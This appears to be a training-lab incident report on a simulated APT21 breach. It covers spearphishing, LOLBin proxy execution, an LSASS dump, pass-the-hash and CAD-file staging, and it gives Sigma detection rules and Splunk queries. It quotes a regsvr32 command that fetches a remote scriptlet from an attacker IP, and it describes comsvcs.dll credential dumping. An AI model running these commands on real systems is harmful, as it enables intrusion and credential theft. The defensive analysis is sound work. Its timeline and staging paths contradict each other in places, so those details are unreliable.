

CONFIDENTIAL // SENSITIVE

DetectMare — APT21 Breach

Incident Investigation Report

Meridian Defense Research Institute

Analyst	Jovita Khu
Date	2026-09-28
Classification	CONFIDENTIAL // SENSITIVE
TLP	RED — Do not share outside response team
Severity	CRITICAL
MITRE ATT&CK	T1566.001, T1218, T1003.001, T1550.002, T1560.001

1. Executive Summary

APT21, a state-sponsored threat actor also known by the toolset "NetTraveler," conducted a targeted intrusion against the Meridian Defense Research Institute (MDRI). The attack followed a classic spearphishing-to-credential-theft-to-lateral-movement chain, ultimately reaching the FS-CLASSIFIED01/02 file servers where classified weapons-program research was staged and exfiltrated.

The initial access vector was a macro-enabled Word document (Hypersonic_Test_Schedule_2025.docm) delivered via spearphishing email to researcher m.okafor. From there, the attacker leveraged signed Windows binaries (LOLBins) as a proxy execution layer, dumped LSASS credentials using the native comsvcs.dll MiniDump technique, performed pass-the-hash lateral movement to classified hosts, and finally compressed and staged weapons-program design files for exfiltration.

Five Detection-as-Code (DaC) Sigma rules were authored and tuned during this investigation to provide durable, bypass-resistant detection coverage across the full kill chain.

2. Attack Timeline

Timestamp (UTC)	EventCode	Description
2025-03-15 08:14	Sysmon 1	m.okafor opens Hypersonic_Test_Schedule_2025.docm → WINWORD.EXE spawns certutil.exe (dropper download)
2025-03-15 08:15	Sysmon 1	mshta.exe → regsvr32.exe /s /n /u /i:http://45.77.12.9/s.sct scrobj.dll – NetTraveler loader registration
2025-03-15 08:22	Sysmon 10	rundll32.exe → LSASS process access – comsvcs.dll MiniDump credential theft
2025-03-15 03:10	Security 4624	Pass-the-hash logon to FS-CLASSIFIED01 – LogonType 3, NTLM, KeyLength 0
2025-03-15 03:11	Security 7045	Malicious service installed on FS-CLASSIFIED01
2025-03-15 03:15	Sysmon 1	7z.exe archives .sldprt/.dwg files to D:\Staging\Archive\ for exfiltration

3. Investigation Findings

3.1 Initial Access — Infected Document

Filename: Hypersonic_Test_Schedule_2025.docm

Victim user: m.okafor

Parent process: WINWORD.EXE

First child: certutil.exe (LOLBin dropper download)

The document was a macro-enabled (.docm) Word file masquerading as a hypersonic weapons test schedule — a convincing lure for a defense research institute. The macro executed certutil.exe to download the stage-2 payload, then invoked mshta.exe → regsvr32.exe to register the NetTraveler COM scriptlet.

Splunk query used: index="dac_lab" EventCode=1 ParentImage="*WINWORD*" Image="*cmd.exe*" OR Image="*certutil.exe*"

3.2 Proxy Execution — Signed Binary Abuse

Binary 1: certutil.exe — payload download

Binary 2: regsvr32.exe — COM scriptlet (scrobj.dll) registration from remote URL

C2 URL: http://45.77.12.9/s.sct

APT21 used two LOLBins to evade simple process allow-listing. certutil.exe was used to download the dropper (its -urlcache -split -f flags are a well-known abuse pattern). regsvr32.exe with the /i: flag can register a COM object from a remote .sct scriptlet without writing to disk — a "squiblydoo" technique — bypassing AppLocker in default configurations.

3.3 Credential Theft — LSASS Dump

Technique: comsvcs.dll MiniDump via rundll32.exe

Splunk query: index="dac_lab" EventCode=10 TargetImage="*lsass.exe"

The attacker used the native Windows DLL comsvcs.dll, loaded by rundll32.exe, to call the MiniDump export and write the LSASS process memory to a file. This avoids common "mimikatz.exe" file signatures, and the DLL is a signed Microsoft binary.

3.4 Lateral Movement — Pass-the-Hash

Target hosts: FS-CLASSIFIED01, FS-CLASSIFIED02

Event: EventCode 4624, LogonType 3, AuthenticationPackageName NTLM, KeyLength 0

Follow-on: Service installation (EventCode 7045) for persistence

Pass-the-hash uses the NTLM hash obtained from the LSASS dump to authenticate without knowing the plaintext password. The key indicators are LogonType 3 (network logon), NTLM authentication package, and KeyLength 0 (hash used instead of full Kerberos key exchange).

3.5 Staging and Exfiltration Preparation

Archiver: 7z.exe (and renamed variants)

Backup staging path: D:\Backups\nightly\

Target file types: .sldprt (SolidWorks parts), .catpart (CATIA), .dwg (AutoCAD)

Classified weapons-program CAD files were compressed into archives. The attacker placed the malicious binary in a path that mimics the legitimate backup path to blend in: D:\Backups\nightly\ — matching the 7-character folder pattern used by the legitimate ResearchBackupAgent.

4. Detection-as-Code: Sigma Rules Explained

Five Sigma rules were authored to cover the full APT21 kill chain. Each rule targets a specific MITRE ATT&CK technique. The design philosophy emphasizes whitelist-based filtering (excluding known-good processes by full path) over indicator-based detection (specific hashes or access masks), which is more robust against minor variations in attacker tooling.

PR#1 — Spearphishing Attachment Spawns Suspicious Child Process

Rule file: rules/spearphish_office_child.yml **MITRE:** T1566.001 — Spearphishing Attachment

4.1.1 What this rule detects

Office applications (Word, Excel, PowerPoint, Outlook, Publisher) spawning script interpreters or living-off-the-land binaries (LOLBins). The detection maps to the moment a macro or embedded object in a malicious document executes its first stage payload. This is the highest-fidelity indicator of spearphishing success in a Windows environment.

4.1.2 Rule logic

```
logsource:
  product: windows
  category: process_creation           # Sysmon EventCode 1

detection:
  selection_parent:
    ParentImage|endswith:
      - "\WINWORD.EXE"
      - "\EXCEL.EXE"
      - "\POWERPNT.EXE"
      - "\OUTLOOK.EXE"
      - "\MSPUB.EXE"
  selection_child:
    Image|endswith:
      - "\cmd.exe"
      - "\powershell.exe"
      - "\wscript.exe"
      - "\cscript.exe"
      - "\mshta.exe"
      - "\rundll32.exe"
      - "\regsvr32.exe"
      - "\certutil.exe"
  filter_telemetry:
    Image: "C:\Program Files\ResearchIT\Telemetry\officetelemetryagent.exe"
  filter_monthend:
    CommandLine|contains:
      "C:\ProgramData\ResearchIT\Automation\monthend_report.bat"
    ParentCommandLine|contains: "C:\Finance\MonthEnd_Template.xlsm"
  condition: selection_parent and selection_child
             and not filter_telemetry and not filter_monthend
```

4.1.3 Tuning decisions

- **filter_telemetry:** The ResearchIT OfficeTelemetryAgent legitimately launches from Office processes. Filtered by exact full path — not just filename — to prevent attacker bypass by placing a payload in a different directory.
- **filter_monthend:** The Finance team's month-end automation runs monthend_report.bat via EXCEL.EXE. The filter requires BOTH the script path AND the specific parent Excel file (MonthEnd_Template.xlsm). A filter on script path alone would be bypassed by an attacker who named their payload monthend_report.bat.
- **Child process list:** Expanded beyond cmd.exe to include all commonly abused interpreters and LOLBins seen in the APT21 toolkit.

PR#2 — Signed Binary Proxy Execution of NetTraveler Dropper

Rule file: rules/proxy_exec_dropper.yml **MITRE:** T1218 — Signed Binary Proxy Execution

4.2.1 What this rule detects

rundll32.exe or regsvr32.exe executing payloads from non-standard writable directories (ProgramData, AppData, Windows\Temp, Users\Public). APT21 used regsvr32.exe with the /i: flag to register a COM scriptlet (scrobj.dll) from a remote URL, a technique known as "squiblydoo" that evades AppLocker default rules.

4.2.2 Rule logic

```
logsource:
  product: windows
  category: process_creation          # Sysmon EventCode 1

detection:
  selection_binary:
    Image|endswith:
      - "\rundll32.exe"
      - "\regsvr32.exe"
  selection_dir:
    CommandLine|contains:
      - "\ProgramData\"
      - "\AppData\"
      - "\Windows\Temp\"
      - "\Users\Public\"
  filter_deploy_tool:
    ParentImage: "C:\Program Files\ResearchIT\Deploy\researchdeploy.exe"
    CommandLine|contains: "C:\ProgramData\ResearchIT\pkg\"
  filter_cad_license:
    CommandLine|contains: "LicenseCheck_CAD.dat"
  filter_windows_WerSvcGroup:
    ParentImage: "C:\Windows\System32\svchost.exe"
    ParentCommandLine|contains: "WerSvcGroup"
    CommandLine|contains: "\ProgramData\Microsoft\Windows\WER\"
  condition: selection_binary and selection_dir and not 1 of filter_*
```

4.2.3 Tuning decisions

- **filter_deploy_tool:** The ResearchIT deployment tool (researchdeploy.exe) legitimately uses rundll32.exe/regsvr32.exe to install packages under C:\ProgramData\ResearchIT\pkg\. Filtered by both parent process path AND command line directory to avoid bypass.
- **filter_cad_license:** The CAD licensing subsystem calls regsvr32.exe with LicenseCheck_CAD.dat. Filtered by the unique filename in the command line.
- **filter_windows_WerSvcGroup:** Windows Error Reporting (svchost.exe running the WerSvcGroup service) legitimately writes to \ProgramData\Microsoft\Windows\WER\. This is a well-known false positive source for this detection pattern.
- **True positive event:** regsvr32.exe /s /n /u /i:http://45.77.12.9/s.sct C:\ProgramData\scrobj.dll — remote scriptlet URL + scrobj.dll in ProgramData is the key indicator.

PR#3 — LSASS Memory Access for Credential Theft

Rule file: rules/lsass_credential_access.yml **MITRE:** T1003.001 — OS Credential Dumping: LSASS Memory

4.3.1 What this rule detects

Any process opening a handle to lsass.exe (Sysmon EventCode 10 / Process Access), except known-legitimate accessors. This is the key event for credential theft — whether via mimikatz, comsvcs.dll MiniDump, ProcDump, or any future tool, the attacker must first obtain a handle to the LSASS process.

4.3.2 Rule logic

```
logsource:
  product: windows
  category: process_access          # Sysmon EventCode 10

detection:
  selection:
    TargetImage|endswith: "\lsass.exe"
  filter_werfault:
    SourceImage|endswith: "\WerFault.exe"
  filter_edr:
    SourceImage|startswith: "C:\Program Files\ResearchEDR\"
  filter_pam:
    SourceImage|startswith: "C:\Program Files\ResearchPAM\"
  filter_taskmgr:
    SourceImage|endswith: "\taskmgr.exe"
  condition: selection and not 1 of filter_*
```

4.3.3 Tuning decisions

- Whitelist-only approach: No GrantedAccess mask or CallTrace requirements. The pipeline's bypass tests demonstrated that attackers can trivially change the access mask or use different loader modules. The only sustainable filter is a strict allowlist of legitimate LSASS accessors.
- Do NOT filter C:\Windows\System32\: The attacker's tool is rundll32.exe, which lives in System32. Filtering the entire System32 path would block the true positive.
- filter_edr: The ResearchEDR endpoint detection agent must access LSASS to perform behavioral monitoring — filtered by install directory prefix.
- filter_pam: The ResearchPAM privileged access management agent performs credential vaulting via LSASS access — filtered by install directory prefix.
- filter_werfault: Windows Error Reporting reads LSASS during crash dump generation — a perennial false positive source.

PR#4 — Pass-the-Hash Lateral Movement to Classified Host

Rule file: rules/pth_lateral_movement.yml **MITRE:** T1550.002 — Use Alternate Authentication Material: Pass the Hash

4.4.1 What this rule detects

NTLM network logons (EventCode 4624, LogonType 3, KeyLength 0) OR service installation (EventCode 7045) on the classified file servers (FS-CLASSIFIED01/02). Pass-the-hash is characterized by KeyLength 0 — the NTLM hash is used directly instead of deriving a session key, so the key length is zero.

4.4.2 Rule logic

```
logsource:
  product: windows
  service: security                                # Windows Security Event Log

detection:
  selection_1:
    EventID: 4624
    LogonType: 3
    AuthenticationPackageName: "NTLM"
    KeyLength: 0
    ComputerName|startswith:
      - "FS-CLASSIFIED01"
      - "FS-CLASSIFIED02"
  selection_service:
    EventID: 7045
    ComputerName|startswith:
      - "FS-CLASSIFIED01"
      - "FS-CLASSIFIED02"
  filter_legacy_mes:
    EventID: 4624
    WorkstationName|startswith: "MES-LEGACY01"
  filter_fail_cluster:
    EventID: 4624
    TargetUserName: "svc_cluster"
  filter_service_backup:
    EventID: 7045
    ServiceName: "ResearchBackupAgent"
    ServiceFileName|startswith: "C:\Program Files\ResearchBackup\"
  filter_patch:
    EventID: 7045
    ServiceFileName|startswith: "C:\Program Files\ResearchIT\Patch\"
  condition: (selection_1 or selection_service) and not 1 of filter_*
```

4.4.3 Tuning decisions

- OR condition across EventIDs: A single event cannot match both EventCode 4624 and EventCode 7045. Using (selection_1 or selection_service) correctly detects either the authentication event or the service-installation persistence event on the classified hosts.
- LogonType 3 (not 9): Pass-the-hash uses a network logon (Type 3). LogonType 9 is "NewCredentials" (used by RunAs /netonly) which is a different but related technique.
- KeyLength 0: This is the definitive pass-the-hash indicator. In a legitimate NTLM exchange, KeyLength is 128 (for a full session key). Zero means only the hash was used.
- filter_legacy_mes: MES-LEGACY01 is a manufacturing execution system that uses NTLM for backward compatibility. Filtered to prevent high-volume FPs from legacy authentication.

- **filter_fail_cluster:** The svc_cluster service account generates regular NTLM Type 3 logons as part of cluster failover heartbeats.
- **filter_service_backup + filter_patch:** ResearchBackupAgent and patch management tool install/update themselves as services on classified hosts. Filtered by service name AND binary install path to prevent bypass by renaming.

PR#5 — Weapons Program Data Staged and Archived for Exfiltration

Rule file: rules/archive_staging_exfil.yml **MITRE:** T1560.001 — Archive Collected Data: Archive via Utility

4.5.1 What this rule detects

Archiver utilities (7-Zip, RAR, WinRAR, PowerShell Compress-Archive) processing classified weapons-design file extensions (.sldprt SolidWorks, .catpart CATIA, .dwg AutoCAD). This catches the data staging step — the archiver must reference the classified file types in its command line, which is a highly specific indicator.

4.5.2 Rule logic

```
logsource:
  product: windows
  category: process_creation           # Sysmon EventCode 1

detection:
  selection_extension:
    CommandLine|contains:
      - ".sldprt"
      - ".catpart"
      - ".dwg"
  selection_archive:
    Image|endswith:
      - "\7z.exe"
      - "\rar.exe"
      - "\zip.exe"
  selection_rename_archive:
    OriginalFileName:
      - "rar.exe"
      - "WinRAR.exe"
      - "Rar.exe"
      - "7z.exe"
  selection_cmdline_archive:
    CommandLine|contains:
      - " a "
      - "-mx"
      - "-tzip"
      - "-t7z"
  selection_powershell:
    Image|endswith: "\powershell.exe"
    CommandLine|contains: "Compress-Archive"
  filter_researchbackup:
    Image: "C:\Program Files\7-Zip\7z.exe"
```

```

    User|endswith: "svc_backup"
    CommandLine|contains: "D:\Backups\nightly\"
filter_cad_autosave:
    ParentImage|endswith: "\sldworks.exe"
    Image|endswith: "C:\Program Files\7-Zip\7z.exe"
    CommandLine|contains: "C:\ProgramData\SOLIDWORKS\SW_AutoBackup"
condition: selection_extension
            and (selection_archive or selection_rename_archive
                or selection_cmdline_archive or selection_powershell)
            and not 1 of filter_*

```

4.5.3 Tuning decisions

- selection_extension as anchor: The CAD file extensions are the most specific indicator — an archiver processing .sldprt files outside of known-good contexts is almost always malicious or exfiltration-related.
- Renamed archiver detection (selection_rename_archive): Attackers rename 7z.exe or rar.exe to bypass detections based on image name. Sysmon logs the OriginalFileName from the PE header, which cannot be changed by renaming. This selection catches renamed archivers even if Image does not match.
- Command-line flags (selection_cmdline_archive): Archive creation flags ("a" for 7z add, -mx for compression level, -tzip/-t7z for format) are detectable even for renamed binaries where OriginalFileName matching may not apply.
- PowerShell branch (selection_powershell): PowerShell's Compress-Archive cmdlet is a native alternative that doesn't require a separate utility — attackers may use it to avoid dropping 7z.exe.
- filter_researchbackup: The legitimate nightly backup job runs as svc_backup user from the verified 7-Zip install path and writes to D:\Backups\nightly\. All three conditions must match simultaneously.
- filter_cad_autosave: SolidWorks (sldworks.exe) spawns 7z.exe to compress autosave data to the SOLIDWORKS autosave path. Filtered by parent process + archive destination.
- Staging path D:\Backups\nightly\: Matches the legitimate backup path format, demonstrating the attacker's knowledge of the environment to blend their exfil staging.

5. Key Splunk Queries

5.1 Initial Access — Office Child Process

```
index="dac_lab" EventCode=1
| where ParentImage LIKE "%WINWORD%" OR ParentImage LIKE "%EXCEL%"
| where Image LIKE "%cmd.exe%" OR Image LIKE "%certutil.exe%"
      OR Image LIKE "%powershell.exe%" OR Image LIKE "%rundll32.exe%"
| table _time, ComputerName, User, ParentImage, Image, CommandLine
```

5.2 LSASS Credential Access

```
index="dac_lab" EventCode=10 TargetImage="*lsass.exe"
| table _time, SourceImage, GrantedAccess, CallTrace
```

5.3 Pass-the-Hash Detection

```
index="dac_lab" EventCode=4624 LogonType=3
  AuthenticationPackageName="NTLM" KeyLength=0
| where ComputerName LIKE "FS-CLASSIFIED%"
| table _time, ComputerName, TargetUserName, WorkstationName, IPAddress
```

5.4 Service Installation on Classified Hosts

```
index="dac_lab" EventCode=7045
| where ComputerName LIKE "FS-CLASSIFIED%"
| table _time, ComputerName, ServiceName, ServiceFileName, SubjectUserName
```

6. Recommendations

6.1 Immediate Containment

- Isolate m.okafor's workstation from the network immediately.
- Revoke all credentials associated with accounts that authenticated to FS-CLASSIFIED01/02 during the incident window.
- Rotate all service account passwords, especially those with access to classified file servers.
- Audit all services installed on FS-CLASSIFIED01/02 after the incident timestamp.

6.2 Detection Hardening

- Deploy all five Sigma rules from this investigation to the SIEM with automated alerting.
- Enable PowerShell Script Block Logging (Event 4104) to capture Compress-Archive and other PowerShell-based exfiltration activity.
- Enforce AppLocker or WDAC policies to restrict regsvr32.exe from loading remote scriptlets (/i: with http://).
- Implement Credential Guard to prevent LSASS memory access from user-mode processes.

6.3 Architectural Recommendations

- Classified file servers (FS-CLASSIFIED01/02) should require Kerberos authentication only — reject NTLM. This blocks pass-the-hash by design.
- Implement privileged access workstations (PAWs) for all access to classified systems.
- Consider file integrity monitoring on classified research directories to detect unauthorized compression or staging.

7. Appendix: Indicators of Compromise

Type	Value	Context
IP	45.77.12.9	APT21 C2 – regsvr32 scriptlet host
Filename	Hypersonic Test Schedule 2025.docm	Initial access lure document
URL	http://45.77.12.9/s.sct	COM scriptlet for NetTraveler loader
User	m.okafor	Victim account – spearphished
Host	FS-CLASSIFIED01	Lateral movement target – classified data
Host	FS-CLASSIFIED02	Lateral movement target – classified data
Cmdline	rundll32 comsvcs.dll MiniDump ...	LSASS credential dump technique
Path	D:\Backups\nightly\	Attacker staging path (mimics backup)